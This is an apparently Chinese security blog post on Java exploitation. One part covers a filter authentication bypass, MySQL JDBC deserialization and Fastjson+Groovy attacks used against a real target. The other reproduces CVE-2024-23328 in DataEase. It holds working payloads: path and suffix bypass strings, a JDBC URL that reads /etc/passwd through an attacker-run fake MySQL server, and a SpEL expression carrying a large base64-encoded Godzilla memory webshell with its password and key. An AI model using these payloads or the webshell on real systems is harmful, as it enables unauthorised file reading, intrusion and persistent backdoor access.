最近打点用的一些java漏洞

前言

好久没写文章了,把最近打点审的几个漏洞分享一下。

代码审计

filter权限绕过

CurrentContextFilter里,有四个关键方法。

image

需要关注的方法,很明显可以看出,应该是:
isExcludeResource(request.getRequestURI())
isStaticResource(request.getRequestURI())
isAnonPermission(request)

从方法命名上可以看见分别代表含义“是否排除的资源”、“是否是静态资源”、“是否是匿名权限”。

分析

isExcludeResource

isExcludeResource(request.getRequestURI())是判断当前url是否包含

1
2
3
4
5
6
/xxxinterface/invoke
/metadata/xxx/findList"
/ui/xxx/xxxLayoutPath"
/metadata/xxx/xxxColumns"
/metadata/xxxx/xxxScene
/ui/xxx/xxxPath

如果包含以上值,则返回值是true

image

isStaticResource

isStaticResource(request.getRequestURI())是判断当前url是否包含

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/static
/scripts
/css
.js
/js
.png
.jpg
/images
/fonts
.css
.html
/bpm/editor-app
.svg
.gif

如果包含,返回值是true

image

CurrentContextFilter里面,当两个方法返回值是true时,返回值是null

image

dofilter方法里面,也就是该filter触发时,如果当前userAuthInfo的值是null,会直接去更新当前上下文updateCurrentContext,也就是逻辑正常走完,没有中途通过return去退出。

image

isAnonPermission

实际分析发现,此处是通过验证redis里面的user-token是否有效去验证用户权限的,因此不在分析范围内。

漏洞验证

直接访问某个接口的时候,会提示Token is not present.

image

也就是在getUserAuthInfo方法里面执行到了下面这个位置

如果想要跳过该401的提示,则需要将逻辑执行到上面的return null处。

image

此时就很清晰了,可以通过在isStaticResource方法或isExcludeResource方法去跳过该逻辑。

以isStaticResource为例

也就是在当前的url里面添加静态资源或者添加某几个url即可绕过该限制。

如通过在当前url添加静态资源后缀js时(;.js或者是#.js#需要url编码为%23),即可绕过该401限制,回显数据。

image

以isExcludeResource为例

如在当前的url里面添加特殊的url,再利用../去跨越路径也可以绕过。

image

其他情况?

如果走2和3的逻辑,则token是在redis里面存着的
image

这种情况无法去伪造,即便是jwt的密钥是硬编码的情况下。

image

如果请求头里面的token是以basic为开始的,则有可能可以去伪造token

Authorization: Basic YWRtaW46MTIzNDU2

image

但暂时未在当前jar里面找到实现该逻辑的代码块。

Mysql jdbc反序列化

分析

DmXXXXController

image

DmXXXServiceImpl里面找到importDmByJdbc的实现方法

image

再跟入到JdbcUtils.getMetaTableList里面看见了DriverManager.getConnection,且url可控和lib目录下存在mysql-connector-java-8.0.14.jar,也就能打mysql jdbc反序列化漏洞了。

image

image

漏洞验证

构造读取/etc/passwdpayload

1
{"url":"jdbc:mysql://x.x.x.x:3308/test?user=base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=","user":"base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=","pwd":"123","appCode":"admin"}

image

vps上收到请求

image

然后就成功读取到对方linux服务器上的文件

image

此时尝试打内存马,用的cb链生成的哥斯拉内存马

image

发包后服务器收到请求

image

哥斯拉尝试连接,并连接成功

image

Fastjson+groovy反序列化

此处也能通过fastjson+groovy去打内存马

image

且存在groovy的依赖
image

总结

多审计day,打点才能事半功倍。


CVE-2024-23328 DataEase jdbc反序列化漏洞复现

前言

有人问我这个漏洞怎么复现,恰好就来看看。

https://forum.butian.net/share/2848

image

环境搭建

本人选择的是离线搭建

教程

https://dataease.io/docs/v2/installation/offline_INSTL_and_UPG/

下载地址

https://community.fit2cloud.com/#/products/dataease/downloads

image

安装

先解压压缩包

1
tar zxvf dataease-v1.18.14-offline.tar.gz

进入安装包目录

1
cd dataease-v1.18.14-offline/

运行安装脚本

1
/bin/bash install.sh

image

漏洞复现

参考文章
https://forum.butian.net/share/2848

准备工作

先下载好存在漏洞的mysql jdbc驱动版本的jar

我使用的是mysql-connector-java-8.0.19.jar

上传驱动

数据源->驱动管理->添加驱动

image

驱动类填com.mysql.cj.jdbc.Driver

image

点击保存

漏洞触发(文件读取)

新建数据源->选择mysql

数据驱动选择刚刚添加上传的驱动

image

通过这个工具https://github.com/4ra1n/mysql-fake-server

启动恶意的mysql服务

image

用户名处填入

1
base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=

额外的JDBC连接字符串填入

1
characterEncoding=UTF-8&connectTimeout=5000&useSSL=false&allowPublicKeyRetrieval=true&%61%6c%6c%6f%77%4c%6f%61%64%4c%6f%63%61%6c%49%6e%66%69%6c%65=%74%72%75%65&

url编码处的字符串为allowLoadLocalInfile=true

image

然后点击校验

恶意mysql服务器端(192.168.1.101)收到DataEase(192.168.1.103)端的mysql连接请求

image

生成了新的文件目录

image

成功读取到DataEase服务器上的/etc/passwd文件的内容

image

内存马注入(哥斯拉)

此处内存马注入是通过CVE-2022-21724 漏洞去注入的,也就是PostgreSQL JDBC漏洞。

先准备一个恶意的xml文件,其文件内容是

1
2
3
4
5
6
7
8
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="world" class="java.lang.String">
<constructor-arg value="#{T (java.lang.Runtime).getRuntime().exec('calc')}"/>
</bean>
</beans>

可以看见这里是有一个spel表达式的。

将其spel表达式修改成以下代码块,也就是注入一个哥斯拉的内存马。

相关配置如下:
密码:pass123
密钥:key123
·请求路径: /api/user
请求头: Referer: https://www.baidu.com

spel表达式如下:

1
2
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('ch.qos.logback.e.EncryptionUtils',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADEBRgEAIGNoL3Fvcy9sb2diYWNrL2UvRW5jcnlwdGlvblV0aWxzBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEADWdldFVybFBhdHRlcm4BABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAiTGNoL3Fvcy9sb2diYWNrL2UvRW5jcnlwdGlvblV0aWxzOwEAAi8qCAAMAQAMZ2V0Q2xhc3NOYW1lAQAwY29tLmZhc3RlcnhtbC5qYWNrc29uLkNvbnRleHRMb2FkZXJZYUludGVyY2VwdG9yCAAPAQAPZ2V0QmFzZTY0U3RyaW5nAQAKRXhjZXB0aW9ucwEAE2phdmEvaW8vSU9FeGNlcHRpb24HABMBABBqYXZhL2xhbmcvU3RyaW5nBwAVAQ9USDRzSUFBQUFBQUFBQUpWWENYZ2J4UlgreDVLOXNpeVNZQ2NPSmdrNWdFU3liTXNKaVpQWUhENWlzTUZ5UWh3Y25MU2xhMmx0SzVZbHNWcjVJa0FwUittWmx0S0RIclJOVzlJanRJR0FiSk1DNlFHMDlLSUhwUzB0dmVnSnBlbGRXc0Q4czd1UzVZdWszMmZ2cm1iZWUvUG1mLzk3YitieFZ4NTRDTUI2NFJlb0RzVUhBajFxMHREMDRZRm9ZSjhhNmsvR1k0R21lTXpRaG8yMnVCclc5QzYxbGIvMGtKWXc0cm9DSWJCa256cW9CcUpxckRmUUZGV1RTVXRPZ1VOZ2MxenZEU1FUZWlUVzI2T3JBOXBRWE84UERHbmRnYVNtRDBZMUk5Q1FISW1GV3RSWU9LcnAwK3ptQ3hTY0g0bEZqQXNGSEY1ZnA0Q3pLUjdXQkJhMlJXSmFlMnFnVzlOM3FkMVJqaFMzeFVOcXRGUFZJL0szUGVnMCtpSkpnUTF0LysrVzZqeFE0SExEaVFVQ1ozcmI1dHhjblhSSWpBb3NuV2RlR2xra2paUlFaa3FrdzVCUU5LWWlVUk9oSlc2VXltV2NDV3JLamN5VXBKMHpVRmFJUEp4SlBOUkVRb3VGQlNxOXN3VjlzNGJzVldoaU9WYkloYzRpa3YzYWlBZXJMSk9yQlZ4RzNCSVdXT3lkYllLNlorTWNxWHN1ZFFmQ213VFdudExhVkZ3SHI1dUwrT1NYdVJ6NUpTNG5XN3g3RzMwelVhc1R5QXQxODdHM1VhQW9yUFV3eHVZRTBhTjhhK3RzRFEvV1k0TkUrRHphSFJaUUtMZkhKL1ZMcGtTYmgyVlFJL0dZZ3MwVUMzRjUwOUJ3SUtTUE1OcUJwa2lpanhneEJJT3F2akV6UFVPWjA0S2VpQUgrNzFGUWJTOHh3NGlDQm9IVE9nd3lMS2dtYkJvNkdwbzdYTmpHVGZWcVJtc3NhYWl4RUlkOTg2STQwek1QTHNZbGJqU2lSV0RsTklGa1Fnc0ZPclNRcmhtWGFTTWQvS1hnVW9GRk13MHJhR09ndVh6amlLRnhHMDR2VWZLZ0hkdmRDR0tIaGZBYzduUktEdTkwNHpKMFVFbW1vaFJ0dFNTVFdpaWxSNHlSQUpjMlJhOUFwL1J5TndNUmpsOGNpYWxSRWxhR1dxN1ZoVDF5Y3E5QVlVTFhySFFYQ0h2dEhXZUtRWjloSkFJdGZIUllBenUxcTFOYTBxZzdxVmd5RVk4bHRicWNUV3p2M3FlRmpEcmZIb0ZWVTZOV0FJeUlLcU9hdzQycnBrdEZvMXF2R20wSWhiUmtNa2RLWmZoN3BtZXB2UXdudUovY21PN1VlcUtjaVF4cTJ4T2FQbjI5T3BuS3VyNDlSVUJYV2pxUmVFQkdwMEhYMVJHT0oxSUdvNkNwQXhSVmt2U0NXblJ4Zmh4TUNjbmlzR3JRVFVXM2tCTllkNG9Ra3lHNkRXTm1JNmNBT0ZmcXMycTN3Rm12N1p5Q3F3WE9QU1ZuRkpDbGEwL05CUVdwYVpTM0FxSmdTR0RGYXlLcllNUmU1T1FCVTNDTmdMdFBrNVc5blYzTWcydXRrbllkQ2MzRWFqRm5QSGdUdkVVd2NBT3ozUkx1VktNcFN0OW9TZDlFa0VQc08yb2t4ZzB1bTlaYStsUzlRKzZlMVlHazllQVd2RVZtNTYxY2x3dDBaQ2l3eHVzN0dRazhlQnZlTHQxNGg0Q0h1anRVMlhnTjZkKzdMUDhPME92dW1vM2J0SkRaVUV2bnFrVXlhOStEMjJRRmY2OEhtMUFqdjk3SGVDZlVrU2hibkFzZnNNdzNHTlRvVGhuYXlWdURuU3dlM0lFUEZVSEhoNjJ5Wk5mNUV1OWNOZjZqdU5PTllYeU1mWC9HcElKUENDekk2RnR0VjZCc3RwVnNSLzRrUHVYR1FYeGFicVhFZzBwVXlhL1BjQi9KYWZ0WU44Yys1aWd0TEhxZncrZmxSZzR6U29rTXpFa1h2aUJSUHV6R3FPenRSVEZ0YUtyd1QrK3lXVVR1eFZIcDJuMDhjZVJRTXNWU05hRGwwREF0Y0VhdWM3djY5UGlRYkRSMnRSNTNZd3dUTEMra2tocE55bVk3VjAzMDRCaStKR0Y5ME9MdmJsWnlDZDdTakhOTW1oM2N0ajFCL3g3RzhTSU00c3VVVDZhNmsvYVJvZFE3dlRGbmUvOVg4VFhKM2tjeXZYaTZQUVdQQ2VRUHllOFpIdWEwbm0vZ2NUZStqbTlLTjNuNEtETGkyVFQyNER1eWQ0M2l1d3hkdDVyVWFqWTJ4ekpjbm42NHlIcjBQWHhmQnZzSGNzSDVmSDVTK3Z3anhqS0xPQkZjTWFQZkJabG1hcSsyTGRKcmxVMEgyeStmd1cyYlhIaWFXZjBhMGdwK0xyQisvaVNaWncxNUF2aUZHOC9nbHd4c1ZJdjFHbjNta2JqVmcxL2pOOUxuWnptUlNyRDBhOVl4aUZFaGdyL0Q3NlhXSDBnNjAveUFhdlFGR2lPOThxemJLNlB3SjZxRnpUVThlRjRpK2d6K0xKdDJLekUwNmZRWE41N0RDWGtHZkZKKy9jME13eFU4aE9wTlJOMkRmOGl6WVJELzVLcFdBTWloQWlzZ0FxZlBjY2FUaDZ3YW52SzZDV3orb0N5T2R2R3VTaG1SYUZXanFlckN5elRZRXpkTExYdkdTYXBLcGxKTU1uQTRLSVJWTVcxL1hJS1hrT0s5czhRVmtXOVJQNmdaZlhFZXFldm5XR1cyV3U2NnV0VXdBcGFGT285UWhFczZVRWpTNzUyZGRZb29ZdkxPcDY2STB3aGRKRFlZNytlV3Q4NlJ0WE9Zbkt1U2lJVmlrVnNzRUtlek5tb21CcnZzRTc1TDhDcFNta3pGcWdZaXlWQlZZME5IY3ladkNOTVNXVFRNSHk2eFZKN2hORHVlRWt5clUxQktYa0tzR1pkWVB0dGFWbzQzRFk4bDE1anE2WkVqcTFqcnp3OUY3UXVkSXU4NzZ6ZWM1eEpua3dEaExacTYrYndOTlZxTkZ0cTBkWDJOU3pEaEZUWmtUWmVxNjVpenNzc2xhd09Cb2FHaHFtNDFFazVWOFZybkVqNnNabEk3UWJlUWowSjUwK0JWMWlYdlRPWjdsZmtXc2wyYjd4dk5keUcvZU1YanM1Qy9HbWhCOEYxU1BvYUY1U1hDZXordTU2djhmdHg4RDRmenlDcEExZzd3SGxXTUZTamlsOGRTNGZzMDB6QXZlN2E1S0NXbGJIVzVmd3lMcDlzN2h0S3VNU3k5Rjh2U1dIa3YxdkNaeHRweGxCOUZ4ZFJhQytEZ2N4V3RyMFlBYTh6MVNpMmI5bnJ5NjNUNndtT243R0wyeWhjUUNDbFZXTzUzK0I4YXc4WWpXWk1GcHJ0cmMwd1ZaazBWY3BGcTB4Uzd2RzNxS1dvNCtmWVhONCtqdGIxeStSMVFuSWZnekQrR3k3cE14eTh2Ymg3RHJqU3VyUFNuOGJvajdlS0l1UVF2ZmRoQy85M21Rdmw4VnRCVUpYZFJ4WmtBZkZ4S09yR1Jjd1VjM1lwYVN2dm9VaDNPTi9mdHp6cm01NDZxVGF0K1hJaUxLTlBFYjBwTllpR2NDdklVMUF1RjF3cjVtT1JVN2hnL0dzVWtsc0poRDBxcExiVDJlcnlCbHJqSlBJOUpHZUNFdi93K1hEK0JOK2ZoVVR3NzlZTWZONmZ4MWp2d2hIOEM3eFNvZGZvWnVRbThPdy9qdUwwMnY3d3MzNUhHKzJ2enk1ekZINXpBUi9Md0dOYkk3MlBJNnlwUDQrTnAzRFdHUTJYNWFYeDJBbmM3Y0FnMytZdS9XSlkvZ1NNT2R1QlJjdUdlMm9LczluRWNUT1ArV3VVUUZ0YTZqbUdzcTh3MWhnY2VMbFBLQ3RKNGFIZVo0cGV2aWdsOFJmQzhVT0ZZdENpTlI5UDRWcG1TeHJmdDhYSXArNFNUYm8zamg1ekxTa3ZocHpqZ09PdzhMQSt1T0lEYjhFYjczVzFIYkNjVzgxbEQzbTFtVExid3VSWDFqRkFibzlQUGFLUVloK3VZTUFld2pWcU51SjBSdVJQTnVBdVg0RzYwOEpUUWlrZHdLWjdtbmZGNU5vWVhzTjJNZGcrdEgrQWFJWVNaS2Jmemw4WXhGMjNGMElzK011Rk9Ya2V0V1I4dFJMQ1A5TnZNczB3L0dTQlpkQ0xMaWhQTXNBR1RGU2VvSFRmSmZBSUo2anBNZnRRZy8yWDBLMkIvcTU4azVSVXovdXk5Z3dxR3JXR0ZSd2V5WWY5TEtPTFlpd2krU0hzL2xnVGllNHRaUnJ4MklwRHpKaXVyUlZ2eHo4YnhxMkFGQTN1NWc0L2ZwdkhIWTNpdXkxbVJ4Z3RqK0tzRStPOXAvS3VOS2tHL3pBWXlpTXpQWk1OWjNCdXdpNk9kM1BsdUxNR1ZuTjlEaVM3bXhsNFRwMVdVZFRFckxzUlA3SHkvd0N4WWVaVDRLYitFdWNNUzVFMVNqYnNLOHMvaU5aM2xDY2NpdGdpYTFSRFlUNmRmR1JkNXdZb1M0UlRIUlVGYXVDdjQ5cVJGY1hzbENWb2lGanNmeE1FdVIzRjlCK2NxK1dPNHkxSE83K0xqQ0hJbmRlMGxvdFMwSUpucExIT2FTbWZrS3BVNVoybmxNMU9PbUdYd0lwSmtDNTFPOFJDWEFXSURRd2xjeGRsdWJqYkVvaHFtWEpTU0dpVjdTWjgrN0NBRlVneitNSWt3eW5CTGNGb0k0SEllUmY1dGh0cEZXdjRITDlMS0RweHJqam1wV1dXUE5aRTgvN1VMeW43OGowQktFRWZ4VWhaRW55d2pacG1vejRBNHlRTG90SCtidFlLUG1jemdsY2dHdWNzRytkWWNrSmZORGZJS0c2L2diSkRyclQrQzFrQ29WODZDZW5XdTZneW9wM1NuQUc4bVRGdVloVGZncGhtQVg4M1pGR0ViSkloRGxMdWVrc09VSENXQTE1Q1QrNmx6SGJXdTVkWHpoaHpBZmFMTUJyemVCcmNUZm5QTVNjMk45bGdybVpvQi9GWUNickgyRmdKZW5RdDRpODNhZWh2d09nbTQrWHR1d0YxaVRiWlBONXNwUVVNbDRweWpXRllpMWg3Rm1wTjFWSkh0M2g3NjVNV1p3S3NMRDZvVzhCWUFBQT09CAAXAQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAAZABoKABYAGwEAAygpVgEAB2NvbnRleHQBABJMamF2YS9sYW5nL09iamVjdDsBAAtpbnRlcmNlcHRvcgwAGQAdCgAEACEBAApnZXRDb250ZXh0AQAUKClMamF2YS9sYW5nL09iamVjdDsMACMAJAoAAgAlAQAOZ2V0SW50ZXJjZXB0b3IMACcAJAoAAgAoAQAOYWRkSW50ZXJjZXB0b3IBACcoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KVYMACoAKwoAAgAsAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcALgEAEXJlcXVlc3RBdHRyaWJ1dGVzAQALaHR0cHJlcXVlc3QBAAdzZXNzaW9uAQAOc2VydmxldENvbnRleHQBABNhcHBsaWNhdGlvbkNvbnRleHRzAQAZTGphdmEvdXRpbC9MaW5rZWRIYXNoU2V0OwEAEmFwcGxpY2F0aW9uQ29udGV4dAEAC2NsYXNzTG9hZGVyAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIHADkBAA1TdGFja01hcFRhYmxlAQAQamF2YS9sYW5nL1RocmVhZAcAPAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwwAPgA/CgA9AEABABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7DABCAEMKAD0ARAEAPG9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLmNvbnRleHQucmVxdWVzdC5SZXF1ZXN0Q29udGV4dEhvbGRlcggARgEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsMAEgASQoAOgBKAQAUZ2V0UmVxdWVzdEF0dHJpYnV0ZXMIAEwBAAxpbnZva2VNZXRob2QBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwwATgBPCgACAFABAApnZXRSZXF1ZXN0CABSAQAKZ2V0U2Vzc2lvbggAVAEAEWdldFNlcnZsZXRDb250ZXh0CABWAQBCb3JnLnNwcmluZ2ZyYW1ld29yay53ZWIuY29udGV4dC5zdXBwb3J0LldlYkFwcGxpY2F0aW9uQ29udGV4dFV0aWxzCABYAQAYZ2V0V2ViQXBwbGljYXRpb25Db250ZXh0CABaAQAPamF2YS9sYW5nL0NsYXNzBwBcAQAcamF2YXguc2VydmxldC5TZXJ2bGV0Q29udGV4dAgAXgEAXShMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzcztbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwATgBgCgACAGEBADFvcmcuc3ByaW5nZnJhbWV3b3JrLmNvbnRleHQuc3VwcG9ydC5MaXZlQmVhbnNWaWV3CABjAQALbmV3SW5zdGFuY2UMAGUAJAoAXQBmCAA0AQAFZ2V0RlYMAGkATwoAAgBqAQAXamF2YS91dGlsL0xpbmtlZEhhc2hTZXQHAGwBAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsMAG4AbwoAbQBwAQASamF2YS91dGlsL0l0ZXJhdG9yBwByAQAEbmV4dAwAdAAkCwBzAHUBADVvcmcuc3ByaW5nZnJhbWV3b3JrLndlYi5jb250ZXh0LldlYkFwcGxpY2F0aW9uQ29udGV4dAgAdwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwwAeQB6CgAEAHsBABBpc0Fzc2lnbmFibGVGcm9tAQAUKExqYXZhL2xhbmcvQ2xhc3M7KVoMAH0AfgoAXQB/AQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24HAIEBACtqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uBwCDAQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgcAhQEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uBwCHAQATamF2YS9sYW5nL1Rocm93YWJsZQcAiQEACWNsYXp6Qnl0ZQEAAltCAQALZGVmaW5lQ2xhc3MBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEABWNsYXp6AQARTGphdmEvbGFuZy9DbGFzczsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247DAAOAAYKAAIAkwwAEQAGCgACAJUBAAxkZWNvZGVCYXNlNjQBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCDACXAJgKAAIAmQEADmd6aXBEZWNvbXByZXNzAQAGKFtCKVtCDACbAJwKAAIAnQgAjQcAjAEAEWphdmEvbGFuZy9JbnRlZ2VyBwChAQAEVFlQRQwAowCQCQCiAKQBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsMAKYApwoAXQCoAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kBwCqAQANc2V0QWNjZXNzaWJsZQEABChaKVYMAKwArQoAqwCuAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsMALAAsQoAogCyAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DAC0ALUKAKsAtgEAFmFic3RyYWN0SGFuZGxlck1hcHBpbmcBABNhZGFwdGVkSW50ZXJjZXB0b3JzAQAVTGphdmEvdXRpbC9BcnJheUxpc3Q7AQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAKUxqYXZhL3V0aWwvQXJyYXlMaXN0PExqYXZhL2xhbmcvT2JqZWN0Oz47AQAHZ2V0QmVhbggAvQEAHHJlcXVlc3RNYXBwaW5nSGFuZGxlck1hcHBpbmcIAL8IALkBABNqYXZhL3V0aWwvQXJyYXlMaXN0BwDCAQADYWRkAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaDADEAMUKAMMAxgEADGRlY29kZXJDbGFzcwEAB2RlY29kZXIBAAdpZ25vcmVkAQAJYmFzZTY0U3RyAQASTGphdmEvbGFuZy9TdHJpbmc7AQAUTGphdmEvbGFuZy9DbGFzczwqPjsBABZzdW4ubWlzYy5CQVNFNjREZWNvZGVyCADOAQAHZm9yTmFtZQwA0ABJCgBdANEBAAxkZWNvZGVCdWZmZXIIANMBAAlnZXRNZXRob2QMANUApwoAXQDWAQAQamF2YS51dGlsLkJhc2U2NAgA2AEACmdldERlY29kZXIIANoBAAZkZWNvZGUIANwBAA5jb21wcmVzc2VkRGF0YQEAA291dAEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAAJpbgEAHkxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtOwEABnVuZ3ppcAEAH0xqYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbTsBAAZidWZmZXIBAAFuAQABSQEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtBwDoAQAcamF2YS9pby9CeXRlQXJyYXlJbnB1dFN0cmVhbQcA6gEAHWphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtBwDsCgDpACEBAAUoW0IpVgwAGQDvCgDrAPABABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMABkA8goA7QDzAQAEcmVhZAEABShbQilJDAD1APYKAO0A9wEABXdyaXRlAQAHKFtCSUkpVgwA+QD6CgDpAPsBAAt0b0J5dGVBcnJheQEABCgpW0IMAP0A/goA6QD/AQAFc2V0RlYBADkoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9PYmplY3Q7KVYBAAR2YXIwAQAEdmFyMQEAA3ZhbAEABGdldEYBAD8oTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsMAQYBBwoAAgEIAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQHAQoBAANzZXQMAQwAKwoBCwENAQADb2JqAQAJZmllbGROYW1lAQAFZmllbGQBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7CgELAK4BAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwBFAEVCgELARYBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24HARgBACBMamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uOwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsMARsBHAoAXQEdAQANZ2V0U3VwZXJjbGFzcwwBHwB6CgBdASAKARkAGwEADHRhcmdldE9iamVjdAEACm1ldGhvZE5hbWUBAAFpAQAHbWV0aG9kcwEAG1tMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vz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